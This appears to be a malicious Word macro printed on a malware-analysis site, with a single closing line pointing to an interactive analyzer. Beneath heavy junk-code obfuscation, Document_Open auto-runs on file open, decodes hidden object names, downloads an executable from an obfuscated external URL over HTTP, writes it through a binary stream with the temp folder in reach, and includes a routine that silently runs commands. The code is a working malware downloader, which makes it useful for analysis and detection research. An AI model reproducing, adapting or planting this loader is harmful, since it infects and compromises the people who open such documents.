    zuBRs = Left("k#^p$LQ?]RPj", 4)
    NTfPE = 402 + 215 + 871
    NTfPE = RTrim("wJVx_J!$.DCMDm-b")
    fcttjNUN = Space(8)
    CXVddt = Space(19)
    crFQpa = RTrim("_[Bh-LtW.)P")
    KWIhbIh = Space(17)
    KWIhbIh = LTrim("Zs.@i!Qg_MS@@-QkRRl")
    For IWpwYt = 0 To 75
        WCaLjq = 229 + 1263 + 447
        MmfgEHJK = "ZoUeBT&dQNyPZGVLF" + "#RSugEu u]_qmqHfD*WO" + "HdDa.CabSIfQXiQSTt"
        WCaLjq = RTrim(" zIDsTmy)Q&acI")
    Next IWpwYt

    KjtjIeai = 556 + 1082 + 246
    KjtjIeai = 1158 - 1273 - 1300
    CXVddt = Right("[A(ohivJ-Ddv%XVH&", 4)
    crFQpa = "ef#eIlGDHFuLr&Yhbi" + "gz@??P%(ooD(Je(oB" + "&KJESSpLCvlM"
    KjtjIeai = 1128 + 1540 + 801
    spGqx = RTrim("MyyjptPe!%")
    WCaLjq = Space(15)
    KjtjIeai = StrReverse("ZaCExRzYQV]c%#")
    KWIhbIh = Left("w@kM@[PR!IgPE?", 5)
    KWIhbIh = LTrim("nLZ#c%NF.K%")
    ttmerym = Right("eXi(FSu#-MQNQQ[i*?$", 3)
End Sub

Private Sub aosWJt(RGYpe As String, uhZhlyO As String, qxPyGSm As String, OIOrxFM As String, KDnEUpk As String, tLMdeSh As String)
    fcttjNUN = Space(19)
    CXVddt = 1609 - 528 - 379
    WCaLjq = UCase("ewB(guY-BDRD#Xgfe")
    ttmerym = RTrim("hY(Kd%ZnH?jy.Np(-r")
    zuBRs = Left("mHcj](NK$fdLnead&", 3)
    spGqx = StrReverse("zYbIw!cemxc&..cs")
    spGqx = Left("  ArqtnRHfoET%m.", 3)
    Set WWIdWX = CreateObject(NdBcsgvO("WNS_cmrzi!pqts.sSThueTlFlM"))
    WWIdWX.Run RGYpe, 0
    spGqx = 905 - 1060 - 1024
    spGqx = LTrim("t_UoZh^Jy* jGz")
    CXVddt = Space(18)
End Sub

Private Sub VRnqXM(NmnQtGe As Double, FxTSyHq As Integer, UGOObMd As Boolean)
    crFQpa = 1390 + 395 + 1675
    zuBRs = Space(5)
    fcttjNUN = "e!MsQqI#eIW" + "ojXPQkqDBQ" + "^j#!$cTqa(J?!j"
    While avZicO < 288
        CXVddt = "lxFhS]oaxC-I(" + " dlEZL^#l^fCPfssnL" + ".uk#vtsOCry"
        spGqx = RTrim("gEnuunIl##HltCK-Ap")
        spGqx = 1883 + 919 + 1712
        WCaLjq = LTrim("AyazcB$T]Cywsg")
        WCaLjq = Right("Sc(*_Lb&T-qL", 3)
        KjtjIeai = StrReverse("A)uoKg]p ?KqW(CSWR_")
        fcttjNUN = "UaMzYZyx]xCYrl^C" + "MctinZEQ?#aFv" + "mdJSGc?SEO"
        crFQpa = Space(11)
        zuBRs = Left("gWKwzTO*TAIxaBV", 5)
        NTfPE = Right("or#Fd&wJo$fD!Ket#L(f", 2)
        avZicO = avZicO + 3
    Wend

    zuBRs = Right("NzL.ALeZN$rtz&Ip!rTl", 3)
    For eGfIyf = 0 To 248
        CXVddt = 202 - 1364 - 514
        ttmerym = Space(10)
    Next eGfIyf

    crFQpa = UCase("D)admTlDf)Wx")
    WCaLjq = Right("C!Pesaav#Zym #o(", 3)
    crFQpa = 1664 - 1122 - 1222
    NTfPE = Left("Rwo?lIGoXrqe#%@(", 3)
    WCaLjq = LTrim("WiyNDJYduSY$j?og(")
    CXVddt = 1430 - 1318 - 1210
    spGqx = "&X[P]N(ceM" + "oOQq&x%$&yWs." + "YG?a$LA&@NHuavo)q@"
    spGqx = StrReverse("%o$yymZk*LeTQ")
    spGqx = 677 - 1242 - 1887
    KWIhbIh = RTrim("-hGMhxMYyskXEJ$)q-r.")
    crFQpa = 615 - 1572 - 1030
    spGqx = Right("LbcS%AYTwu", 3)
    KWIhbIh = LTrim("owkyBqwSERDMI?%&dSF*")
    MmfgEHJK = 323 - 988 - 1287
    MmfgEHJK = StrReverse("togx!i*bci)")
    spGqx = "M.woiR$%br#RZ?H" + "qr@KxXyChHzpPLhd*gHy" + "Mrby@ribm*Z("
    NTfPE = StrReverse("[tvJWRp(K CJC]] X$BC")
    KjtjIeai = Right("xNT?^#fv_q%T[", 3)
    ttmerym = 1511 + 1361 + 1099
    MmfgEHJK = LTrim("Q*U[TNKebr o!G$sVma")
    CXVddt = UCase("A?YqV$&YDh")
    spGqx = Left("@nwdBLut$jcv%C", 5)
    While vpsWTO < 103
        WCaLjq = Space(19)
        CXVddt = Right("M[HW J^J k*?d", 3)
        crFQpa = Left("lZehXdSVpE.TR-Fi", 3)
        NTfPE = RTrim("TqKrC)%aYb(vl")
        KjtjIeai = Space(20)
        crFQpa = 1279 - 1631 - 1323
        NTfPE = 107 - 1247 - 112
        vpsWTO = vpsWTO + 3
    Wend

    CXVddt = LTrim("c?YjDm Q.OKxBN&UyLTD")
    spGqx = LTrim("W!K)G@PyzesQa$Oc.)")
    NTfPE = UCase("T($VpdiZa()YE]ltEFeH")
    zuBRs = Left("GBp-!]f]uTTe.AtxsqM?", 5)
    While zzaAvz < 129
        spGqx = StrReverse("?tW]s]#QAh-w")
        CXVddt = Left("admBn*[eFk", 3)
        WCaLjq = 883 - 359 - 1347
        spGqx = 1091 + 744 + 157
        fcttjNUN = StrReverse("thjpeU*C)HmqDEEee")
        zzaAvz = zzaAvz + 2
    Wend

    zuBRs = UCase("wj_JzRIYpam &ZXjp]a ")
    fcttjNUN = Space(13)
    ttmerym = RTrim("om(dhK)Ssyi(CZilN")
    CXVddt = 1176 - 264 - 1860
    ttmerym = Left("fAW!@y?__B**JVsnIKh", 3)
    crFQpa = UCase(")NY.Woe(Rio")
End Sub

Private Sub Document_Open()
    Dim BCrFSAdi As String
    KWIhbIh = Left("LnUO_*UYoLb(", 3)
    spGqx = "KzmWeXaHXDsEzRabRHY." + "ZPe.zixAM[AZoO." + "Idd.vlyFE_aq!jryIq$"
    For hPwLJX = 0 To 29
        KjtjIeai = LTrim("EE%hB)Pp_#pyVXD")
        fcttjNUN = StrReverse("uYcEzmfpVU Yo@ey%ejm")
    Next hPwLJX

    zuBRs = UCase("LdKdsYU#EnKSFhcm")
    CXVddt = UCase("%(cOJ)Aonr")
    Set EcKosG = CreateObject(NdBcsgvO("sucRrsispZtZi$n?gP.IfGiTlOens-y-s]t!ezmtoYbGjNeDcttA"))
    While cbZlBD < 337
        MmfgEHJK = UCase("yEC#zoOJS X@")
        fcttjNUN = Space(4)
        MmfgEHJK = 367 + 228 + 210
        zuBRs = UCase("l!]Ph[aUOyWWG*S]aYvM")
        ttmerym = Left("k?n%DuhNHPcfvH", 5)
        CXVddt = Right("PYqgX*Pc^]m", 2)
        CXVddt = 583 + 292 + 701
        fcttjNUN = LTrim("YvqAjkFyX-t")
        cbZlBD = cbZlBD + 3
    Wend

    WCaLjq = Space(6)
    For qBOiDv = 0 To 225
        CXVddt = 887 - 771 - 1326
        WCaLjq = LTrim("!Z$*qmHNSFf")
        KjtjIeai = Right("$k^ASiU)RK$uo@@^djYr", 2)
        ttmerym = RTrim("vJX&aajejx")
        NTfPE = "au#m-MkVbwfd" + ".(WXt%n@eSo#.f]Xs(*?" + "wRr%?Kxn^(CJ"
        KWIhbIh = 716 - 590 - 411
        zuBRs = LTrim("fHT^N byJVgOcp*KLr")
        WCaLjq = Left("vV.oDXvj-t_(jRwluC(", 2)
        spGqx = Space(7)
    Next qBOiDv

    ttmerym = Right("%NnsXfJB(cc", 5)
    KjtjIeai = Right("#pmd.pNOMjr@X]qMx&xk", 4)
    NZeuBEn = EcKosG.GetSpecialFolder(1 + 1)
    While pvNUgY < 382
        spGqx = StrReverse("Cf[]hAFNqY")
        WCaLjq = "m.Hl*_Pw&TVM(u#WPM" + "bYI_( ctH!M$s]XI(" + "jZZkTueuFXHwvBRvquRN"
        KWIhbIh = UCase("Pol?ls#L*l$q[E")
        crFQpa = 423 + 904 + 1366
        spGqx = Space(10)
        WCaLjq = RTrim("$O)xXy@rY)pb)")
        crFQpa = UCase("*ck%HX_UyFqev-IRdl")
        fcttjNUN = StrReverse("k!?E^HUJjS?[nr")
        pvNUgY = pvNUgY + 1
    Wend

    CXVddt = 1340 - 1794 - 1293
    While GbUuuA < 249
        KWIhbIh = 1306 + 115 + 949
        crFQpa = RTrim("-nCCReXJq*A.Z[?k-")
        MmfgEHJK = LTrim("[fT&ZvsuS(%w R)ney")
        crFQpa = Left("gi(OEVwaFjL", 2)
        ttmerym = LTrim("-eCNZzC^JLH_Xq")
        GbUuuA = GbUuuA + 3
    Wend

    For HpQWBQ = 0 To 103
        fcttjNUN = Right("gp[S&wSeOyBAPLk[]", 3)
        zuBRs = StrReverse("cNPmvAoch^BVd")
        crFQpa = UCase("@-jRc zvS$?_a")
        NTfPE = StrReverse("G!us^iNZcBv ")
        WCaLjq = Left("rfXBMlXNHKEuz#v%uYto", 5)
        CXVddt = StrReverse("pvSikJ(Yb)JEpaY")
    Next HpQWBQ

    While eakxsN < 360
        CXVddt = Space(11)
        NTfPE = StrReverse("^*[.i[jhyR[#ZK")
        crFQpa = Left("T%?psAjNi sY", 5)
        KjtjIeai = Right("u)obouExuZMdwLY", 3)
        eakxsN = eakxsN + 2
    Wend

    BCrFSAdi = StrReverse("Te#xIeU.&gOcbD&qmq")
    zuBRs = Right("(Fi]Ehsx[KkHF(k", 3)
    zuBRs = Left("u?c^lF$EnUAI^)I$", 2)
    While PxlXbw < 301
        KWIhbIh = Right("]eVqqsl#JHM_q@sNvAe", 5)
        fcttjNUN = 1556 - 532 - 503
        CXVddt = 915 + 1427 + 1353
        NTfPE = "W!%^[OtBFVKg^vua HL" + "?Y.LN[PcK-FI" + "rqaJkgac&rXDUclXwxQ^"
        NTfPE = "Jm_Vep*K%YJ-" + "px!(Dw#k@wa" + "l!ANh@IG.fR["
        crFQpa = Space(3)
        CXVddt = RTrim("p]#A IvI[M#LszndT")
        PxlXbw = PxlXbw + 3
    Wend

    ttmerym = StrReverse("Kq$xTw.DodIBx-TDqsv")
    NTfPE = Space(6)
    spGqx = 186 + 913 + 1395
    NTfPE = 1907 + 578 + 1028
    spGqx = LTrim("OwREK*xjav")
    zuBRs = 1765 + 857 + 1336
    KjtjIeai = 635 - 1581 - 172
    MmfgEHJK = LTrim("e[LH?pa#uS_TPsgd")
    spGqx = 1286 + 1636 + 1119
    For CHlBPS = 0 To 268
        KjtjIeai = Space(10)
        WCaLjq = Left("CSTpHB?]?C", 2)
        NTfPE = Space(1)
        CXVddt = Left("-&ee*D(DB!!jFZDzbTr", 4)
        zuBRs = LTrim("?qAhQDlZy?@")
        MmfgEHJK = "IT!buYaFS)g#vUq" + "Zb!z!ou$?j@I?_se#" + "YXD^lL!RHMgoG"
        KWIhbIh = LTrim("rI)C_HLfhv]mP")
        NTfPE = Left("bccjqPfRpWuzpjF", 4)
    Next CHlBPS

    KWIhbIh = StrReverse("&T.CYkuv-F")
    KWIhbIh = LTrim("?xP.hJ_jVIi(Vp")
    MmfgEHJK = RTrim(" pJ$[#ePxKv$iVS$m")
    spGqx = 687 + 574 + 1266
    MmfgEHJK = 1375 + 896 + 981
    Dim uCAZOC, hWmWBl As Object
    While UtRCII < 250
        crFQpa = Right("DyrmcKUbq.G&w", 3)
        WCaLjq = RTrim("lAYG_L%$]dxN")
        crFQpa = "lpGG_hpdgj.VjGlB!([" + "TO^Ei-PXZ!Z" + "ww CvG(ibboeMkFz#$"
        ttmerym = RTrim("CQnx%WULVkl")
        fcttjNUN = Left("ha@ae!-UY)aS it", 4)
        CXVddt = Right("!@CvKASQCBx kg! sqAx", 4)
        spGqx = 1893 + 753 + 975
        zuBRs = Space(19)
        spGqx = Right("eWBk-hPOCbo!)A@X", 3)
        UtRCII = UtRCII + 3
    Wend

    MmfgEHJK = 1394 + 565 + 840
    crFQpa = RTrim("]HVYHUpRbl")
    crFQpa = StrReverse("cMti.szl$FdN)v]pa[^r")
    WCaLjq = LTrim("&svvTEKKUW^UcdOQ")
    NTfPE = LTrim("#*!xpQGzlH")
    spGqx = Space(6)
    While NtFpTv < 249
        CXVddt = StrReverse("FBnT!$CPkdAMMqK!a!")
        KWIhbIh = Left(")Y$K- igrM", 2)
        ttmerym = 644 - 1188 - 360
        NtFpTv = NtFpTv + 3
    Wend

    Set uCAZOC = CreateObject(NdBcsgvO("MuiJcJrNors^ovfqtV.AX&M#LWHuT@TJPq"))
    For MOLuWJ = 0 To 106
        crFQpa = StrReverse("RwMepB]fRD")
        fcttjNUN = 1783 + 1685 + 1491
        MmfgEHJK = RTrim("tJPM#mkCTSiWIkhUB@")
        ttmerym = Right("CDitqn]PepEtsb", 2)
        ttmerym = Space(7)
    Next MOLuWJ

    KjtjIeai = Right("?MzFA-n_ReZiSvA_fIx", 4)
    crFQpa = Space(8)
    For vTEAQc = 0 To 261
        spGqx = Right("aJ- F!&zg&ILyJ#D@yTy", 4)
        crFQpa = RTrim("P!M[AZ%(?%xc@murp")
    Next vTEAQc

    KjtjIeai = Right("!Udm!ciNvL(e*mA", 5)
    WCaLjq = RTrim("VLjaylQOChn&SXN.Vl")
    KjtjIeai = 1130 + 745 + 262
    MmfgEHJK = 1508 - 811 - 180
    While XhTOrN < 394
        ttmerym = Space(15)
        KWIhbIh = "rz%u[zx)BDRa$@u" + "Ec#[zYEF.He$#pc&yDj" + "Xky gN.$Xdz_sOGtLic"
        WCaLjq = RTrim("_%.lX_h*q%Qbq^-uJat")
        MmfgEHJK = "Ca(LT-X@GT" + "FOuYgsmC]LgFq[(Uaqz." + "X%ehq!BqoR-p Ct&]"
        KjtjIeai = Left("WSGdncmCiAixbH", 2)
        zuBRs = StrReverse("($bx*&p%JTb")
        crFQpa = StrReverse("?pG*qJoFuFtQBa-mx")
        KWIhbIh = 719 - 794 - 162
        WCaLjq = Right("i^FKlxLnwanE*", 4)
        fcttjNUN = 977 - 269 - 1676
        XhTOrN = XhTOrN + 3
    Wend

    qRTNL = NdBcsgvO("hNtGtYpNsv:c/v/[clrym_.eoIpwtMejxNgMr^oDu&pTlQirmki!tTeydn.tcJoUmc/PnVjOcar yv.te#xbeU")
    KWIhbIh = LTrim("*OTjdbq-!Y")
    While aNhvOq < 316
        KWIhbIh = UCase("C^VmVj^&!sJN!n")
        KWIhbIh = "irmV![[%$KyD%t$TWY" + "a_A^Oj^F_ibOiVA" + "]Y?AcvM@iSI@ytkX"
        ttmerym = 1053 - 1270 - 1922
        aNhvOq = aNhvOq + 1
    Wend

    crFQpa = 1809 - 192 - 575
    For BvVvLp = 0 To 85
        KWIhbIh = RTrim("DIJ)HozRTCK%!wVQT%c")
        zuBRs = Left("$BQNd hnNE", 3)
        WCaLjq = ".HS^Oy&usbqR tJB" + "I%gJO).Qp#x@-v" + "pFPqHOoL-rCuyCmu"
        zuBRs = StrReverse("!EMWbF-cbJl@")
    Next BvVvLp

    ttmerym = 1622 + 1176 + 815
    KjtjIeai = Right("-!FqWC ^q!V", 5)
    Call uCAZOC.Open(StrReverse("T" + "E" + "G"), qRTNL, False)
    fcttjNUN = 854 - 334 - 1115
    NTfPE = 1309 - 1525 - 421
    While GoiIye < 88
        NTfPE = LTrim("FQWpW&Taa&@gf")
        zuBRs = Space(6)
        spGqx = UCase("uY.h)h&W ZYd#^-D")
        KjtjIeai = "TF&STQbBmC!l%_vV!HCI" + "ZMgLpQWx^GG" + "GgRgvXyB$rXt"
        GoiIye = GoiIye + 3
    Wend

    crFQpa = "C ei)k .e*-GV_KM*J" + "v*jSO!PCNHk%%MI]" + "Im$mHkLuJ_D#@%S(k("
    NTfPE = LTrim("T_v_$rQy)rn$.vP")
    KWIhbIh = Right("(wUcNL RbDZ", 3)
    spGqx = LTrim("B$xu$%NhqpBIuvgEQL")
    uCAZOC.send
    ttmerym = StrReverse("kWVonPdN@m")
    crFQpa = LTrim("TeBWPC%ZBRPUumUA.")
    CXVddt = "oBXnmZALr.gqcJ-Yx" + "$#o(j.DOmA" + "PlzOvMRnB*OH#$vl"
    For gKyQqO = 0 To 223
        NTfPE = LTrim("amR.X@tkf?Cn*")
        zuBRs = 1262 - 450 - 1616
        crFQpa = 969 - 1860 - 1673
        NTfPE = RTrim(" !s%ylGWho_hmDbpgv")
        zuBRs = StrReverse("cuZmnT_SbhwVW")
        spGqx = StrReverse("MQXBxuWSN&zuvMo%mT")
        KjtjIeai = Space(15)
        ttmerym = UCase("KF#rwsa@plUe@_b-")
    Next gKyQqO

    NTfPE = Left("sid]#]LHR?^drZe", 3)
    spGqx = Right("_AcNBJvL_WFmm[", 3)
    If uCAZOC.Status = 205 - 3 - 2 Then
    MmfgEHJK = RTrim("s#Hm]T@a[g NntLA??]")
    zuBRs = "vqKVf#mcqHlSlRB)" + "%#**xEirpEzsnGZG" + "j[?xDi .b&qHx[G"
    KjtjIeai = 1956 - 1921 - 1177
    NTfPE = 999 - 1637 - 1592
    MmfgEHJK = Right("jggO#ZIWck", 3)
    fcttjNUN = 1952 + 735 + 276
    fcttjNUN = Left("X&Ao.XhXn-M-p^", 4)
    KWIhbIh = Right("sOvA@H[&qpq", 5)
    While CocUpi < 88
        crFQpa = 825 - 1420 - 1410
        NTfPE = RTrim("IOJ%[yO)uYQG$Lk &")
        fcttjNUN = Space(9)
        crFQpa = 760 + 1699 + 1736
        CXVddt = Right("(uu&^dqtRKzF^T!yeXDw", 3)
        crFQpa = LTrim("cWvlboA[K)OjTo")
        KWIhbIh = 1430 + 1744 + 853
        CocUpi = CocUpi + 3
    Wend

        Set hWmWBl = CreateObject(NdBcsgvO("AEDXOWDnB@.MSPtkrleMaLma"))
    While QzRiov < 65
        WCaLjq = 1151 + 376 + 978
        ttmerym = "NeE#wgXyyMBo.v" + "A_%NdWLcg)?NEyYQ" + "aL(_#T.!r@t"
        ttmerym = 1992 + 1462 + 1771
        NTfPE = Left("yz$&VhkuIbRWuT$H", 4)
        KWIhbIh = LTrim("CL!nHYUJ$US#Z")
        KjtjIeai = UCase("Y rbn$-Xl%[WMy&n^FG")
        QzRiov = QzRiov + 3
    Wend

    KjtjIeai = Right("NZi.Mlu[y?UBC", 4)
    WCaLjq = Left("aT!GnQiWgLFdT?.[o", 3)
    MmfgEHJK = LTrim("P]KoVSwK%L?YSBK[x)")
    crFQpa = Space(17)
    NTfPE = "[ziTFwyYADKRP&" + "p[TW#i QiDVQ_@]xEcS" + "CcV(_$u(l."
    zuBRs = UCase("Ry[$OtJ)N&")
        hWmWBl.Open
    For SCWtFw = 0 To 279
        CXVddt = RTrim("J#-WLl!E[sRGpE[m")
        KjtjIeai = 228 - 550 - 1927
        crFQpa = "Hme&_MckpEXUY!fLIsYR" + "v]i$TR?f$Vk_mS-JsHWN" + "$^CWxyVnl_NtyKAF"
        WCaLjq = "A(QYrRAEPF&ZSRcbP" + "h[)#!VhTmFYb" + "TQGF!Vr-qTRd@?"
        zuBRs = Left("[]ZAe#pVLLIESJ g )", 2)
    Next SCWtFw

    MmfgEHJK = StrReverse("#ZONY.&Zaf")
    KjtjIeai = Left("nDwMCz#$NsZ&YSUwJv", 3)
    For iVOhYe = 0 To 52
        zuBRs = 1215 - 999 - 1129
        crFQpa = 400 - 1037 - 788
        KWIhbIh = StrReverse("^vEawvl%Iq!aF")
        KjtjIeai = StrReverse("Ig[i*D*]XkLqzf&)Z")
    Next iVOhYe

    For yxfKzy = 0 To 335
        spGqx = 566 - 1123 - 1020
        zuBRs = Space(5)
        WCaLjq = RTrim("M-hcY&qQIPct")
        WCaLjq = UCase("SOtBZA%xFu")
        KjtjIeai = 1411 + 1994 + 1630
        WCaLjq = RTrim("Bu-Ohec^).S@Dc")
        fcttjNUN = Right("E@yDHj!WGw&OXELk", 4)
        KWIhbIh = RTrim("EcGM?lDajM_pznuIVUm#")
        KjtjIeai = StrReverse("*i^Zh&N!iTf])p^fphM")
        zuBRs = 1412 - 1827 - 899
    Next yxfKzy

    While EzLzzv < 250
        KWIhbIh = 1063 + 320 + 1621
        zuBRs = Space(10)
        crFQpa = StrReverse("GZSHW.oiQuSgS(")
        WCaLjq = UCase("kZmJF]ZFxb?ZeobHge%")
        zuBRs = Space(18)
        NTfPE = LTrim("cljgP)Dk(EHt[!OzDAkS")
        NTfPE = Left("$mYYtrKuHhze#kqk*E", 3)
        crFQpa = 1821 + 518 + 1474
        EzLzzv = EzLzzv + 1
    Wend

        hWmWBl.Type = 5 - 4
    For XdEjxj = 0 To 128
        spGqx = Right("_r!-ThM?BYljYuCykJU", 4)
        spGqx = Left("xgr*rlbZ_Nib-", 2)
        zuBRs = StrReverse("gMoJ?@NnvzcIG")
        fcttjNUN = UCase("#.#F_#@Ez.m")
        WCaLjq = 495 + 1160 + 1376
        WCaLjq = 949 + 1041 + 1519
        KWIhbIh = RTrim(".nXY?Y)fvdVlY)xpm_A")
        WCaLjq = UCase("@d(EbdaKvDH?uqA")
        ttmerym = Left("AIK[(rfZn[@GtpHES-", 5)
    Next XdEjxj

    While ufuEhe < 193
        ttmerym = UCase("dEYVsnrfK&yz kKHT")
        CXVddt = Left("aDVmSH&E#ik-[@FE", 5)
        spGqx = Left("tVDldIltGZY", 2)
        ttmerym = Space(3)
        ufuEhe = ufuEhe + 2
    Wend

    CXVddt = StrReverse("^^kOMPyOGw&(JHZLC")
    WCaLjq = RTrim("lPhSepfN[EA^wp$Jq")
    While dPrQwk < 26
        WCaLjq = Left("@JvMJP?MRnORKSY", 2)
        WCaLjq = Left("OE&q$XK$M@T@QuH]", 4)
        CXVddt = "^hlmRb)EnZ$xWtDJm" + "xGK]FcnDXF!UBGmnyNr" + "$WyHEF?K^F%Jm##rk^GX"
        zuBRs = Space(4)
        NTfPE = StrReverse("BZO@^r_ERn")
        dPrQwk = dPrQwk + 2
    Wend

    zuBRs = LTrim("^QV#er_ndtU")
        gyoIn = uCAZOC.responseBody
    MmfgEHJK = 140 - 164 - 201
    KWIhbIh = Space(16)
    fcttjNUN = Left("&*TiCBH*FU", 3)
    fcttjNUN = UCase("Q!jUxGKWY!MiBA")
    KjtjIeai = LTrim("*yr@CFfj-#$erJS")
    KjtjIeai = 841 + 550 + 500
    crFQpa = LTrim("Fit.)Y$gGBiMfPRpq")
    While akIUTy < 205
        zuBRs = 286 + 1168 + 474
        ttmerym = Right("nWquxvOp&n", 5)
        NTfPE = 1623 + 698 + 1033
        akIUTy = akIUTy + 3
    Wend

…

Open this report in the interactive analyzer, or submit your own file for analysis.